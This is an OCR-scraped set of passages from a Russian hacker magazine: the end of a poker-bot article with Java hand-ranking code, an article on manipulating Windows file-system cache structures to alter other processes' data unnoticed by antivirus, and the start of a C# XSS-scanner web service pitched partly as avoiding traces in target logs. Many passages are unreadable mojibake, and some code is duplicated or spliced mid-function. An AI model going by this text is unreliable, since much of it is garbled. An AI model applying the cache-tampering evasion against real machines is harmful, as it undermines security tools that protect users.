узнать остаток от деления на 13. Дальше, если достоинства карт оди-
наковы, то проверяем, чтобы карты с большим порядковым номером 
(карты, у которых номер масти больше) были «левее» карт с меньшим 
номером. После сортировки вычисляем достоинства карт (массив 
card), масти карт (массив suite) и количество карт каждой масти (мас-
сив suiteCount).

Функция сортировки массива карт

void sortHand(int[] hand, int[] card,

 int[] suite, int[] suiteCount) {

for (int i = 0; i < hand.length; i++) {

 for (int j = 0; j < hand.length - 1; j++) {

  int t;

  if (hand[j] % 13 < hand[j + 1] % 13) {

   t = hand[j + 1];

   hand[j + 1] = hand[j];

   hand[j] = t;

  }

  if ((hand[j] % 13 == hand[j + 1] % 13) && 

    (hand[j] < hand[j + 1])) {

   t = hand[j + 1];

   hand[j + 1] = hand[j];

   hand[j] = t;

  }
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 int getCombination(int[] hand, int[] board) {

 int[] allCard;

 if ((board == null) || (board.length == 0)) {

  allCard = new int[hand.length];

  System.arraycopy(hand,0,allCard,0,hand.length);

 } else {

  allCard = new int[hand.length + board.length];

  System.arraycopy(hand,0,allCard,0,hand.length);

  System.arraycopy(board,0,allCard,hand.length,

     board.length);

 }

 int[] card = new int[allCard.length];

 int[] suite = new int[allCard.length];

 int[] suiteCount = new int[4];

 sortHand(allCard, card, suite, suiteCount);

 if (isRoyalFlush(card, suite, suiteCount

 ) != -1) {

  return 117;

 }

 int result = isStraightFlush(card, suite, 

suiteCount);

 if (result != -1) {

  return 104 + result;

 }

 result = isQuads(card);

 if (result != -1) {

  return 91 + result;

 }

 result = isFullHouse(card);

 if (result != -1) {

  return 78 + result;

 }

 result = isFlush(card, suite, suiteCount);

 if (result != -1) {

  return 65 + result;

 }

 result = isStraight(card);

 if (result != -1) {

  return 52 + result;

 }

 result = isSet(card);

 if (result != -1) {

  return 39 + result;

 }

 result = isTwoPair(card);

 if (result != -1) {

  return 26 + result;

 }

 result = isOnePair(card);

 if (result != -1) {

  return 13 + result;

 }

 return isHighCard(card);

}
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 }

}

for (int i = 0; i < hand.length; i++) {

 card[i] = hand[i] % 13;

 suite[i] = hand[i] / 13;

 suiteCount[suite[i]]++;

 }

}

Рассмотрим алгоритмы определения комбинаций (код приводить не 
буду, так как он достаточно тривиален и его всегда можно найти на 
диске):

isHighCard

Âîçâðàùàåì ïåðâóþ êàðòó ìàññèâà.

isOnePair

Èùåì äâå îäèíàêîâûå êàðòû, èäóùèå ïîäðÿä, è âîçâðàùà-

åì äîñòîèíñòâî ýòèõ êàðò.

isTwoPair

Èùåì äâå îäèíàêîâûå êàðòû, èäóùèå ïîäðÿä, èùåì åùå 

äâå îäèíàêîâûõ êàðòû è èç äâóõ äîñòîèíñòâ ýòèõ êàðò 

âîçâðàùàåì ìàêñèìàëüíîå.

isSet

Èùåì òðè îäèíàêîâûå êàðòû, èäóùèå ïîäðÿä, è âîçâðàùà-

åì äîñòîèíñòâî ýòèõ êàðò.

isStraight

Ïîäñ÷èòûâàåì, ñêîëüêî êàðò ïîäðÿä èäåò ñ óáûâàíè-

åì äîñòîèíñòâà. Åñëè òàêèõ êàðò ïÿòü, òî âîçâðàùàåì 

äîñòîèíñòâî ñòàðøåé.

isFlush

Ïðîâåðÿåì, ÷òîáû áûëî ïÿòü êàðò îäíîé ìàñòè, è âîç-

âðàùàåì äîñòîèíñòâî ñòàðøåé êàðòû ýòîé ìàñòè.

isFullHouse

Èùåì òðè êàðòû îäíîãî äîñòîèíñòâà è åùå äâå îäèíàêî-

âûå êàðòû. Âîçâðàùàåì äîñòîèíñòâî òðåõ êàðò.

isQuads

Èùåì äâå êàðòû îäíîãî äîñòîèíñòâà, èäóùèå ïîäðÿä. 

Âîçâðàùàåì äîñòîèíñòâî ýòèõ êàðò.

isStraightFlush

Ïðîâåðÿåì, ÷òîáû áûëî ïÿòü èëè áîëåå êàðò îäíîé 

ìàñòè, è ÷òîáû ýòè êàðòû øëè ïî ïîðÿäêó. Âîçâðàùàåì 

äîñòîèíñòâî ñòàðøåé êàðòû.

isRoyalFlush

Ïðîâåðÿåì, ÷òîáû â êîìáèíàöèè áûëè Òóç, Êîðîëü, Äàìà, 

Âàëåò, 10, 9 îäíîé ìàñòè. Âîçâðàùàåì 12 (ïîðÿäêîâûé 

íîìåð äîñòîèíñòâà òóçà).

Кстати, еще можно оптимизировать определение комбинации — 
совместить проверку нескольких комбинаций в одной функции 
(например, проверку на две пары и пару), изменить кодирование 
(представление) карт в программе, перенести эти функции на C и 
скомпилировать в native библиотеку и т.д. Но все эти методы умень-
шают наглядность кода, кроме того на данный момент скорость 
вычислений вполне приемлема, поэтому пока оставляем все как 
есть.

Функция определения силы комбинации

int getCombination(int[] hand, int[] board) {

 int[] allCard;

 if ((board == null) || (board.length == 0)) {

  allCard = new int[hand.length];

  System.arraycopy(hand,0,allCard,0,hand.length);

 } else {

  allCard = new int[hand.length + board.length];

  System.arraycopy(hand,0,allCard,0,hand.length);

  System.arraycopy(board,0,allCard,hand.length,

     board.length);

 }

 int[] card = new int[allCard.length];

 int[] suite = new int[allCard.length];

 int[] suiteCount = new int[4];

 sortHand(allCard, card, suite, suiteCount);

 if (isRoyalFlush(card, suite, suiteCount) != -1) {

  return 117;

 }

 int result = isStraightFlush(card, suite, 

suiteCount);

 if (result != -1) {

  return 104 + result;

 }

 result = isQuads(card);

 if (result != -1) {

  return 91 + result;

 }

 result = isFullHouse(card);

 if (result != -1) {

  return 78 + result;

 }

 result = isFlush(card, suite, suiteCount);

 if (result != -1) {

  return 65 + result;

 }

 result = isStraight(card);

 if (result != -1) {

  return 52 + result;

 }

 result = isSet(card);

 if (result != -1) {

  return 39 + result;

 }

 result = isTwoPair(card);

 if (result != -1) {

  return 26 + result;

 }

 result = isOnePair(card);

 if (result != -1) {

  return 13 + result;

 }

 return isHighCard(card);

}

Далее сделаем функцию, которая возвращает абсолютную силу карточ-
ной комбинации (я назвал ее getCombination). Всего таких разных по 
силе комбинаций будет 118: девять комбинаций со старшими картами 
(по 13 старших карт в каждой комбинации), и одна комбинация без 
старшей карты (флеш-рояль, в котором старшая карта — всегда туз) 
— 9x13+1=118. Хотя в комбинации «две пары» может быть только 12 
старших карт (двойка в этой комбинации не может являться старшей), 
чтобы не нарушать порядок, мы это не учитываем. Эта функция нужна 
для последующего удобного сравнения комбинаций между собой — 
она возвращает число, и чем оно больше, тем сильнее комбинация.

ÍÀÇÂÀÍÈÅ ÊÀÐÒ Â ÏÎÊÅÐÅ

Êàðòà çàïèñûâàåòñÿ äâóìÿ ëàòèíñêèìè ñèìâîëàìè. 

Ïåðâûé ñèìâîë — äîñòîèíñòâî êàðòû, âòîðîé — ìàñòü. 

Êàðòû îò 2 äî 9 òàê è çàïèñûâàþòñÿ. T — äåñÿòü 

(õîòÿ èíîãäà è ïðîñòî 10), J — âàëåò, Q — äàìà, K 

— êîðîëü, A — òóç. Òðåôû — c, ïèêè — s, áóáíû — d, 

÷åðâû — h.
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Как видно из кода, сначала функция скла-
дывает карты на руках и карты на столе 
в один массив, потом сортирует его, а 
далее по порядку определяет комбинации. 
Определение идет от сильнейшей комби-
нации (флеш-рояль) к слабейшей (старшая 
карта).  Чтобы комбинации отличались друг 
от друга, они имеют область действия — 
набор значений карт, находящихся в этой 
комбинации. Так, комбинации High card 
(старшая карта) соответствуют значения от 
0 до 12, где 0 — это High card со старшей 
«двойкой», а 12 — со старшим тузом. А ком-
бинации «пара» соответствуют значения от 
13 до 25, где 13 — «пара» со старшей «двой-
кой», а 25 — со старшим тузом.
И, наконец, сделаем функцию для опреде -
ления вероятности выигрыша (getProba-
bilityOfWin). Параметры этой функции следую-
щие: свои карты, карты на столе (если есть) и 
количество игроков. Далее все просто — раз-
даем случайные карты остальным игрокам, 
выкладываем карты на стол (если их еще нет 
или не хватает) и проверяем комбинации. 
Если выиграли мы, то увеличиваем коли-
чество выигранных раундов на 1 (или, если 
есть еще игроки с такими же картами, то на 
1/<количество этих игроков  + 1>).
Маленькое замечание по моделированию: 
карты игрокам лучше выдавать случайно, а 
не мешать колоду, а потом выдавать, так как 
в первом случае будет быстрее.

Алгоритм моделирования

1)Ðàçäàòü ñëó÷àéíûå êàðòû èãðî-

êàì;

2)Ïîëîæèòü ñëó÷àéíûå êàðòû íà 

ñòîë (åñëè íà ñòîëå åùå íå ïÿòü 

êàðò);

3)Ñðàâíèòü ñâîþ êîìáèíàöèþ ñ 

êîìáèíàöèÿìè äðóãèõ èãðîêîâ;

4)Åñëè íàøà êîìáèíàöèÿ ëó÷øàÿ, 

òî ïðèáàâëÿåì ê êîëè÷åñòâó âûè-

ãðàííûõ ðàóíäîâ 1/<êîëè÷åñòâî 

èãðîêîâ ñ òàêîé æå êîìáèíàöèåé>;

5)Ïîâòîðÿåì øàãè 1-4 íóæíîå 

êîëè÷åñòâî ðàç;

6)Âåðîÿòíîñòü âûèãðû-

øà ðàâíà <êîë-âî âûèãðûøíûõ 

ðàóíäîâ>/<îáùåå êîë-âî ðàóíäîâ>.

К коду я приложил unit-тесты, так что 
можно сразу проверить работоспособность 
всех методов.

ÇÀÊËÞ×ÅÍÈÅ
В принципе, описанную вероятность уже 
можно использовать для игры в покер 
в интернете. Можно разыгрывать руки, 
вероятность выигрыша которых достаточ-
но высока.  Для этого я написал простой 
калькулятор, который на основе карт на 
руках и на столе, а также количестве 
игроков вычисляет вероятность выигры-
ша. Кстати, таких калькуляторов в Сети 
много и они более функциональны.
Промоделировав ситуацию с несколь-
кими игроками и одинаковыми картами, 
можно заметить, что с увеличением 

количества игроков вероятность выигры-
ша уменьшается. Все правильно: чем 
больше игроков, тем больше вероят-
ность, что у оппонентов карты будут 
лучше, чем у нас. Есть и радостная 
новость — все это уравнивается раз-
мером банка, поскольку он тоже будет 
больше. Если вспомнить формулу (p*pot 
= win), то получим уменьшение p с уве-
личением pot, то есть величина win 
остается неизменной. Если ты будешь 
использовать величину p в игре без 
учета размера банка, то ставь количество 
игроков равным 2, чтобы этот параметр 
не влиял на расчет. На этом я предлагаю 
на сегодня закруглиться, а если тебе 
(не)понравилось и ты (не)желаешь про-
должения темы кодинга покерных ботов 
в следующих ][ — присылай свои отзывы 
мне и редактору рубрики (alexander@
real.xakep.ru). Если ты, господин наш, 
читатель, изъявишь свое желание, то в 
следующем номере мы опишем несколь-
ко алгоритмов для принятия решений и 
сделаем симулятор игры в Texas Holdem 
No Limit Poker, в котором будут играть 
эти покерные алгоритмы. z

«ß íàïèñàë ïðîñòîé êàëüêóëÿòîð, 
êîòîðûé íà îñíîâå êàðò íà ðóêàõ 
è íà ñòîëå, à òàêæå êîëè÷åñòâå èãðî-
êîâ âû÷èñëÿåò âåðîÿòíîñòü âûèãðû øà. 
Òàêèõ êàëüêóëÿòîðîâ â Ñåòè ìíîãî è îíè 
áîëåå ôóíêöèîíàëüíû»
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о, как известно, запретный плод сладок, и поэтому отчаянные 
смельчаки вроде нас с тобой вооружаются дебаггерами, отлад-
чиками и прочими удивительными изобретениями человечества. 
В этой статье поговорим о такой малоизученной, с точки зрения 

системного программиста или вирмейкера, вещи, как кэш файловой 
системы Windows. 

ÍÀ×ÍÅÌ-Ñ…
Итак, что такое кэш Windows? Кэш или, правильнее, кэш файловой 
системы, представляет собой совершенно прозрачную для пользо-
вателя или программиста систему, которая находится где-то между 
файловой системой и виртуальной памятью ОС. Состоит он из набора 
функций ядра и системных потоков, которые вместе с диспетчером 

Íàáëþäàòåëüíûé ïðîãðàììèñò ìîæåò çàìåòèòü, ÷òî ðàçðàáîò÷èêè 
Windows îòêàçûâàþòñÿ äîêóìåíòèðîâàòü ñàìûå âêóñíûå è ñî÷íûå 
ìåñòà èíòåðôåéñà äàííîé ÎÑ. È íå íàïðàñíî — òàì ñêðûòû ïîèñòèíå 
áåñöåííûå ñîêðîâèùà, îò êîòîðûõ, ê òîìó æå, çàâèñèò áåçîïàñíîå 
ôóíêöèîíèðîâàíèå îïåðàöèîííîé ñèñòåìû.
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памяти обеспечивают кэширование данных для всех 
драйверов файловых систем Windows. В первую очередь 
кэш предназначен для увеличения производительности 
операционной системы за счет локального хранения 
(кэширования) тех данных, к которым часто обращаются 
пользовательские программы и подсистемы ядра ОС, а 
также, соответственно, для снижения количества обраще-
ний к жесткому диску. И ведь верно — стандартная про-
цедура ввода-вывода, затрагивающая прямое обращение 
к жесткому диску — довольно трудоемкая операция, как 
с точки зрения скорости/времени, так и с точки зрения 
производительности. И тут дело даже не в скорости вра-
щения дисков HDD или пропускной способности шины. 
В современных условиях, когда операционной системе 
приходится выполнять сотни операций в секунду, такой 
подход (прямое чтение/запись данных на жесткий диск 
без использования кэширования данных) выглядит мало-
действительным.
Наверное, я не согрешу против истины, заявив, что прак-
тически вся работа файловой системы так или иначе 
завязана на ее кэше. При этом работает он достаточно 
своеобразно: сначала полностью засоряется, после 
чего начинает освобождать для себя оперативную 
память, сбрасывая рабочие приложения в файл под-
качки. Это сильно снижает скорость работы системы, 
особенно если на компьютере установлено менее 128 
Мб ОЗУ (интересно, такие еще остались?). Мириться с 
этим можно, только если на твоей боевой машине не 
меньше гигабайта памяти. Если меньше, то проблема  
оказывает ся довольно серьезной. У диспетчера кэша 
есть одно необычное свойство — часть кэшируемых 
данных действительно находится в физической памяти. 
Все дело в том, что диспетчер обращается к данным, 
проецируя их представления (mapping file) с помощью 
стандартных системных вызовов WinAPI.

Одной из главных функций диспетчера кэша является 
то, что он должен гарантировать любому процессу, 
который пытается получить кэшируемые данные, 
самую последнюю версию этих данных. Если ты 
серьезно занимаешься программированием, то я уве-
рен, что ты знаешь об этой проблеме не понаслышке. 
Проблема заключается в одновременном использо-
вании одних и тех же ресурсов разными процессами 
(потоками).
Для общего сведения стоит отметить, что диспетчер 
кэша способен кэшировать не только файлы, но и 
потоки данных — последовательности байтов в файле.
Характерной особенностью кэша также является то, 
что у него нет собственного рабочего набора — он 
использует общий системный набор, в который вхо-
дят кэш данных, пул подкачиваемой памяти и под-
качиваемый код ядра и драйверов. Виртуальный 
размер кэша не отображается какими-либо счет-
чиками производительности, поэтому узнать его 
значение можно только через переменную ядра 
MmSizeOfSystemCacheInPages. Обычно его размер 
— 0x20000 страниц, что при странице, равной 4 Кб, 
будет составлять ровно 512 Мб. Для более точно-
го отображения полного объема файловых данных, 
кэшируемых в системе, стандартный «Диспетчер 
задач» Windows показывает параметр «Системный 
кэш», отражающий суммарный размер системного 
рабочего набора и списков простаивающих и моди-
фицированных страниц.

ËÅÇÅÌ ÂÃËÓÁÜ
Для отслеживания изменений в кэшируемых файлах 
диспетчер кэша использует специальную структу-
ру — Virtual Address Control Block (VACB), которая 
описывае т каждый 256-килобайтный слот кэша.
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На диске ты най-
дешь сорцы из ядра 
Windows, реализую-
щие взаимодействие 
с кэшем, сорцы 
драйверов, которые 
реализуют указанные 
в статье фичи, а также 
много других вкус-
ностей.

dvd

DVD

Для совершенство-
вания своих навы-
ков  работы с файло-
вым кэшем Windows 
советую посетить 
www.osronline.com. 
Несмотря на то, что 
общее направле-
ние сайта — про-
граммирование 
в ядре, большая 
часть материалов 
посвящена  разра-
ботке драйверов 
и филь тров файловых 
систем. К сожалению, 
на английском.

links

HTTP://WWW

info
Как и всегда, для раз-
работки драйверов 
и их отладки, качай 
последнюю версию 
WDK — 
http://download.
microsoft.com

INFO

Данные будут находиться по адресу 0xd4680000

Структура SECTION_OBJECT_POINTER
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При загрузке системы диспетчер забирает часть неподкачивае-
мой памяти системы под свои нужды, то есть под размещение 
VACB. Адрес массива VACB сохраняется в переменной CcVacbs.
При запросе на чтение данных из какого-либо файла дис-
петчер кэша должен ответить на два вопроса: находится 
ли файл в кэше, и какие VACB ссылаются на запрошенный 
адрес. Другими словами, диспетчер должен выяснить, прое-

цируется ли представление файла на системный кэш. Для 
учета представлений данного файла диспетчер кэша поддер-
живает специальный массив указателей на VACB.Далее углу-
бляться в структуру кэша не имеет смысла, она слишком слож-
на, и для ее описания просто не хватит ни места, ни времени. 
Если интересно, отсылаю тебя к книге «Внутреннее устройство 
Windows» от признанных знатоков этой операционной системы 
М.Руссиновича и Д.Соломона.
Разработчику система предоставляет ряд переменных и функ-
ций, непосредственно связанных с системным кэшем. Самые 
интересные из них — это переменная MmSystemCacheStart, 
которая указывает на начальный виртуальный адрес кэша, и 
MmSystemCacheEnd, указывающая на его конечный адрес. 
MmSystemCacheWs вернет нам суммарный размер системного 
рабочего набора. Вопрос лишь в том, как получить значение 
этих переменных. Их (как и кучу других не менее интересных 
переменных, от которых зависит работа системы) можно найти 
в структуре KDDEBUGGER_DATA32. Если лень искать в Сети, 
можешь покопаться на диске — там лежат сорцы драйвера, 
который реализует нужный тебе код и может показывать значе-
ния редких системных переменных.
Основные функции работы с системным кэшем — CcCopyRead, 
CcCopyWrite и их более быстрые аналоги CcFastCopyRead 
и CcFastCopyWrite. Отличие этих функций в том, что 
CcFastCopyRead и CcFastCopyWrite ограничены использованием 
32-разрядных смещений внутри файла и синхронного чтения/
записи.
Диспетчер кэша вызывается драйвером файловой системы с 
помощью указанных функций. К примеру, при операции чтения 
через вызов функций CcCopyRead (CcFastCopyRead) диспетчер 
создает представление файла в кэше для проецирования части 
запрошенного файла (file mapping) и считывает файловые дан-
ные в пользовательский буфер, копируя их из представления.
Поскольку драйверы файловых систем выполняются в ядре, 
они могут модифицировать данные, находящиеся в систем-
ном кэше, только с уведомления диспетчера кэша. Для этого 
предусмотрены такие функции как CcMapData, CcPinRead, 
CcPreparePinWrite и др., которые позволяют находить и моди-
фицировать данные в виртуальной памяти без использования 
промежуточных буферов.

Показатель размера системного кэша в Windows

Экспорт системных функций ядра для работы с кэшем
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Существует три основных метода доступа к кэшируемым дан-
ным ,  каждый из которых рассчитан на применение в опреде-
ленной ситуации: простое копирование, проецирование с 
фиксацией и прямое обращение к физической памяти.

ÏÅÐÅÕÎÄÈÌ Ê ÁÎÅÂÛÌ ÄÅÉÑÒÂÈßÌ
Ну, мой дорогой друг, после того, как ты получил весомое пред-
ставление о том, что такое системный кэш, возникает резонный 
вопрос: зачем все это нужно, и как все это можно использовать 
в свои целях?
Просто поразмысли сам — все данные, которыми процессы 
обмениваются друг с другом, так или иначе будут храниться 
в системном кэше. И если перехватывать напрямую систем-
ные функции для подмены чего-либо в адресном пространстве 
целевого процесса уже не кошерно, то манипуляции с данными 
процесса без перехвата системных функций заставят серьезно 
озадачиться производителей FIPS’ов, аверов и прочих «мега-
супер-навороченных» (судя по рекламе) программ.
И что же делать? Ну, первое, что приходит на ум — перехватить 
системные функции, которые используются диспетчером кэша. 
Все они экспортируются ядром и начинаются с префикса Cc*, 
поэтому тебе не должно составить большого труда пропарсить 
таблицу экспорта и заменить обработчики на свои. Но это не 
есть гуд. Таблицы экспорта ядра, а также важнейших драйве-
ров, скорее всего будут контролироваться аверами и проактив-
ками, поэтому их модификация не принесет ничего хорошего. 
Следовательно, перехват функций работы с кэшем будет не 
самым лучшим решением. 
Мы пойдем другим путем — в структуре FILE_OBJECT, которая 
создается для каждой инстанции в системе, будь то файл, про-
цесс или еще что-нибудь, есть указатели на очень интересные 
для нас вещи — это PRIVATE_CACHE_MAP и SHARED_CACHE_
MAP.  PRIVATE_CACHE_MAP находится в самой структуре 
FILE_OBJECT по смещению 0x18. Далее нам нужно будет в 
FILE_OBJECT найти структуру SectionObjectPointer, которая, в 
свою очередь, по смещению 0x4 содержит указатель на структуру 
SHARED_CACHE_MAP.

Получаем файловый объект у исследуемого процесса

SectionObject = ( PSECTION_OBJECT)

   FindProcessSectionObject (  pEprocess );

if (MmIsAddressValid(((PSEGMENT)SectionObject-> 

  Segment)->ControlArea)) 

{

 FileObject = ((PSEGMENT)SectionObject->Segment)->   

   ControlArea->FilePointer;

 FileObject = (PFILE_OBJECT)

   ((ULONG)FileObject & 0xfffffff8);

}

PRIVATE_CACHE_MAP, как таковая, интереса для нас не представ-
ляет. Более интересной с точки зрения хака является структура 
SHARED_CACHE_MAP, потому что именно она по смещению 0x040 
содержит указатель на массив VACBs, принадлежащий данному 
процессу. Получив доступ к VACB, ты фактически сможешь контро-
лировать данные, принадлежащие процессу, и при необходимости 
изменять их. Кстати, если интересно, название файла в формате 
UNICODE_STRING, которому принадлежит FILE_OBJECT, ты смо-
жешь найти по смещению 0x030.
Главная цель, как ты понял из вышесказанного — найти указатель 
FILE_OBJECT, присущий тому или иному процессу или файлу; он 
содержит в себе все нужные данные.
Полный вариант кода ты, как всегда, сможешь найти на диске.

ÇÀÊËÞ×ÅÍÈÅ
В этой статье идет речь о не совсем простых вещах. Для освоения 
материала тебе понадобятся определенные знания и опыт програм-
мирования в ядре Windows, хотя, как мне кажется, в данной статье 
ничего сложного нет. Маленький совет — если хочешь доскональ-
но разобраться в работе файловой системы Windows и файлового 
кэша, обязательно прочитай книгу Раджива Нагара «Windows NT 
File System Internals». Несмотря на то, что книга 1997 года выпуска, 
своей актуальности она не потеряла до сих пор.
Удачного компилирования, и да пребудет с тобой Сила! z
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Указатели на PRIVATE_CACHE_MAP и SectionObjectPointer



 100

CODING

XÀÊÅÐ  06  /137/  10

ÓßÇÂÈÌÎÑÒÈ 
ONLINE
WEB-SERVICES: ÑÎÇÄÀÅÌ ÎÍËÀÉÍ-ÑÊÀÍÅÐ ÓßÇÂÈÌÎÑÒÅÉ

CODING

 Í
аиболее полную картину о защищенности той или иной инфра-
структуры позволяют получить только комплексные методы 
анализа. Если говорить о веб-среде в общем и ее технологиях 
в частности, то подавляющее большинство распространенных 

уязвимостей являются следствием некорректной работы того или иного 
алгоритма фильтрации входящих данных. Не спеши бросать в автора 
камни, описывая причины появления и принципы обнаружения (экс-
плуатации) уязвимостей типа XSS/SQL-inj/PHP-including. Несомненно, 
техническая сторона атак подобного типа заметно выделяется и 
направлена на разные объекты, но нас не интересует эксплуатация 
багов. Мы, как примерные аудиторы/пентестеры/администраторы, 
заинтересованы в их обнаружении, а методы обнаружения, в свою 
очередь, можно свести к принципу выявления «внештатных» ситуаций 
в работе фильтров веб-приложения. А это возможно только путем пере-
дачи фильтру различных входных данных. Кстати, именно так и дей-
ствуют сканеры уязвимостей (да простят меня их разработчики), анали-
зируя полученные результаты мощными эвристическими алгоритмами. 
Но имеется ряд ситуаций, когда использование этих инструментов для 
нас нежелательно. Большинство серьезных коммерческих продуктов 
при сканировании целевого ресурса оставляют в логах веб-сервера 
записи, однозначно идентифицирующие факт сканирования, а иногда 
и узел, с которого оно проводилось. Вряд ли кому-то нужна излиш-

няя «популярность» в кругах администрации целевого сайта. К тому 
же процесс сканирования весьма ресурсоемок и требует временных 
затрат, в некоторых случаях эквивалентных денежным. А теперь при-
шло время приступить к созданию инструмента, который, в силу своих 
особенностей, не имеет вышеописанных недостатков и будет доступен 
для нас в виде веб-сервиса.

ÃËÀÇÀÌÈ ÐÀÇÐÀÁÎÒ×ÈÊÀ
С позиции разработчика процесс сканирования — однотипная проце-
дура, которая представляет собой формирование запросов к целевому 
ресурсу и обработку полученных результатов. Договоримся сразу, что 
исследуемый сайт для нас — это некоторое подобие «черного ящика», 
то есть нам неизвестны детали функционирования его скриптов. В 
общем, все как в настоящем тесте на проникновение, где все параме-
тры, передаваемые исследуемому скрипту, приходится подбирать слу-
чайным образом, опираясь исключительно на свой опыт и интуицию.
Почему именно веб-сервис? Да хотя бы потому, что в рунете нет ана-
логичных приложений «(по крайней мере, на момент сдачи статьи 
— начало апреля — прим. ред.)». А это значит, что данная ниша будет 
интересна как разработчикам, так и пользователям, поскольку теперь 
им не придется устанавливать требовательные к ресурсам и дорогие 
продукты, чтобы просканировать свою домашнюю страничку с целью 

Äëÿ ïðèáëèçèòåëüíîé îöåíêè ñòåïåíè çàùèùåííîñòè òîãî èëè èíîãî 
âåá-ðåñóðñà ìû ÷àñòî ïðèáåãàåì ê ïîìîùè ðàçëè÷íûõ ñêàíåðîâ 
óÿçâèìîñòåé — ìîíñòðî-ïðîäóêòîâ, òðåáóþùèõ îáÿçàòåëüíîé óñòàíîâêè 
íà êîìïüþòåð. Â ýòîé ñòàòüå ìû ðàññìîòðèì ïðîöåññ ñîçäàíèÿ 
èíñòðóìåíòà, êîòîðûé ïîëíîñòüþ èçìåíèò òâîå ïðåäñòàâëåíèå 
î ïðîâåäåíèè àóäèòà âåá-ïðèëîæåíèé.

  Денис  «c0n Difesa» Макрушин   condifesa@gmail.com, http://defec.ru
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получить хотя бы приблизительное представление о ее 
защищенности. Другие причины можешь придумать сам, а 
я пока перейду к теоретической части, а затем непосред-
ственно к кодингу.

È Â ÏÅÐÂÛÉ ÄÅÍÜ ÑÎÇÄÀË ÎÍ…
Как я уже отмечал, наша разработка будет представлять 
собой веб-сервис. Попробуем дать более точное опреде-
ление. Web-service — приложение, которое:
1) Исполняется на веб-сервере;
2) Ожидает поступления HTTP-запросов и предоставляет 
веб-методы для их обработки;
3) Непосредственно исполняет веб-методы и возвращает 
результаты.
У истоков данной технологии стоит Microsoft, которая 
реализовала ее в рамках Microsoft .NET. Кстати, именно 
веб-сервисы являются основной причиной существова-
ния .NET Framework: их задача — максимально упростить 
разработку веб-серверов и веб-клиентов. За примерами 
далеко ходить не надо — в предыдущем номере жур-
нала мы рассмотрели, как с помощью технологии .NET 
Remoting можно быстро создать сеть распределенных 
вычислений. И все же веб-сервисы — не собственность 
MS. Они являются промышленным стандартом на основе 
открытых протоколов HTTP и SOAP (Simple Object Access 
Protocol). Именно поэтому их можно писать в любом тек-
стовом редакторе, однако .NET Framework — несомненно, 
лучший вариант, который значительно упрощает процесс 
кодинга. Кстати, кодить мы будем на языке C#, но ничто 
не мешает тебе писать приложение на любом другом 
языке, поддерживаемым ASP.NET — технологией созда-
ния веб-приложений от Майкрософт в рамках платформы 
.NET. С инструментами разобрались, теперь перейдем к 
проектированию логики приложения.
Хочу сразу сказать, что процесс создания онлайн-сканера 
будет рассмотрен на примере уязвимостей класса «Cross-
Site Scripting» (также известного как XSS), так как на их 
поиске основаны методы обнаружения и других багов (с 
точки зрения сканера как автоматизированного инстру-
мента). Тебе, как программисту, нужно будет научить при-
ложение передавать специальные данные и обрабатывать 
полученные результаты указанным тобой способом. Моя 
же задача — продемонстрировать тебе концептуальные 

особенности программирования веб-сервисов, ну и 
задать направление дальнейшего развития приложения и 
поделиться своими идеями. Но обо всем по порядку.
Рассмотрим логику работы сканера:
1. Переход по ссылке на целевой сайт;
2. Сбор всех скриптов на целевом сайте;
3. Определение всех параметров, принадлежащих кон-
кретному скрипту;
4. Передача собранным параметрам специальных значе-
ний, характерных для данного вида уязвимостей;
5. Анализ полученного результата (произошло ли внедре-
ние наших переданных значений в код страницы).
Как видишь, приблизительный алгоритм функционирова-
ния приложения довольно прост, однако не стоит спешить 
с выводами: у каждого из вышеперечисленных пунктов 
есть свои подводные камни, часть из которых нам придет-
ся преодолевать вместе, а часть я оставлю тебе в качестве 
домашнего задания.

ÍÀÏÈØÈ ÏÐÎÃÐÀÌÌÓ ÌÛØÊÎÉ
Создается впечатление, что если Майкрософт продолжит 
развивать свои технологии, входящие в комплект .NET 
Framework и среду программирования Visual Studio, то 
процесс создания программного обеспечения будет досту-
пен для широких масс, умеющих собирать конструкторы и 
владеющих только мышкой.
При создании проекта «ASP.NET Web Service Application» 
студия автоматически формирует структуру каталогов, 
характерную для приложения данного типа, а также соз-
дает все необходимые файлы для его корректного функ-
ционирования. Обычно структура проекта содержит в себе 
файлы одного или нескольких типов:
1. ASPX-файлы, содержащие web-формы;
2. ASMX-файлы, которые, собственно, и реализуют web-
сервисы;
3. файлы Web.config, в которых описываются параметры 
конфигурации;
4. файл Global.asax, который содержит глобальные эле-
менты приложения;
5. различные DLL, включающие в себя специфичные для 
приложения типы.
Файл ICholeScaner.asmx, находящийся в проекте (ищи его 
на нашем диске), демонстрирует несколько важных прин-
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На диске тебя ждут 
исходные коды 
концептуального ска-
нера в виде проекта 
для Microsoft Visual 
Studio 2008.
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• forum.antichat.ru/
thread20140.html — 
полезный материал 
по XSS-уязвимостям. 
Способы их обнару-
жения и эксплуата-
ции.
•  www.w3.org/TR/
soap/ - описание 
спецификации про-
токола SOAP. Полезно 
знать, если собира-
ешься создавать при-
ложения, эксплуа-
тирующие методы 
твоего веб-сервиса.
• defec.ru - мой ре-
сурс, где ты можешь 
задать вопросы, по-
делиться идеями, 
а также поучаство-
вать в разработке 
различных приложе-
ний и проектов.

links

HTTP://WWW

Широкий набор инструментов для создания веб-приложений
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ципов программирования веб-сервисов с помощью .NET Framework. 
Вот что в нем содержится:

Содержимое ASMX-файла

<%

@ WebService Language="C#" 

CodeBehind="~/App_Code/ICholeScaner.cs" 

Class="ICholeScaner" 

%>

Директива @WebService содержит обязательный атрибут Class, задаю-
щий класс, из которого состоит веб-сервис, и атрибут CodeBehind, 
который содержит описание веб-методов класса.
Веб-методы объявляются в файле ICholeScaner.cs путем назначения 
открытым методам класса “ICholeScaner” атрибута [WebMethod]. Таким 
образом .NET Framework автоматически делает этот метод доступным 
для внешних вызовов. 

[WebMethod]

public string StartScan(string domen)

{

 // èíñòðóêöèè ìåòîäà

 …

}

В этом отражается вся суть веб-сервиса — предоставить функционал 
своих методов (то есть, предоставить «сервис») для обработки данных, 
поступающих от клиента, который может являться как обычным поль-
зователем, передающим информацию через какие-либо поля ввода, 
так и программой (сайтом), предоставляющим свои данные в автома-
тическом режиме средствами HTTP и SOAP. SOAP — это XML-язык для 
вызова удаленных процедур по HTTP и другим протоколам.
Наш веб-сервис предоставляет метод StartScan, который принимает 
единственный строковой параметр — доменное имя целевого сайта, 
— и инициализирует процедуру сканирования. Если URL сервиса, 
например, www.site.com/icholescaner.asmx, то клиент может вызвать 
метод StartScan, переслав SOAP-конверт в HTTP-запросе. Задача веб-
сервиса в этом случае:
1. Разобрать SOAP-конверт, содержащий входные данные;
2. Выполнить сканирование;
3. Сгенерировать SOAP-конверт, содержащий результат;
